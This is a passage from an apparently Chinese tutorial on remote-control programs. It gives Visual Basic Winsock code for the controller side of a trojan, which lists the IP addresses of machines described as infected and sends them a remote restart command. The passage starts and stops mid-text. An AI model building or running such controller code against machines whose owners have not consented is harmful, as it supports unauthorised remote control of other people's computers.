谈谈远程控制中关于搜索、控制计算机的功能

的信息，进行处理（取得中木马计算机的 IP 地址）
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) `当新数据到达时出现
On Error Resume Next
    Dim getinfo As String `用来保存取得的信息
    Dim isgetinfo As Boolean `一个临时的变量
    Winsock1.GetData getinfo, vbString `取得信息
    
    temp_o = InStr(1, getinfo, "OK")
    If temp_o <> 0 Then
        getinfo = Right(getinfo, Len(getinfo) - 2)
        For temp_n = 0 To List1.ListCount
            If InStr(1, List1.List(temp_n), getinfo) = 0 Then
                isgetinfo = True
            Else
                isgetinfo = False
                Exit For
            End If
        Next
        
        If isgetinfo = True Then
            List1.AddItem getinfo `把 IP 地址写到 List1 中
            sum_i = sum_i + 1
        End If
    End If
    End Sub
⑥对远程计算机进行一定的操作（使用远程计算机重新启动）
Private Sub List1_DblClick() `在本程序中是通过双击 List 中显示的 IP 地址，使该计算机重新启动
    Dim yn As Long
    yn = MsgBox("是否关闭该计算机上的服务器程序！！", vbYesNo + vbExclamation, "远程控制")
    If yn = vbYes Then
        IsFind = SearchComputer(List1.List(List1.ListIndex)) （注意1）
        If IsFind = True Then
            Winsock1.SendData "Restart" `向服务端的程序发送重新启动计算机的命令
            List1.RemoveItem (List1.ListIndex)
        End If
    End If
End Sub⑦在文本档上上移动光标时实现全选
Private Sub Text1_GotFocus(Index As Integer)    `当文本框得到光标时自动全选
    For temp_i = 0 To 4
        AutoSelect Text1(temp_i)
    Next
End Sub

Private Sub AutoSelect(SelObject As Control)
        S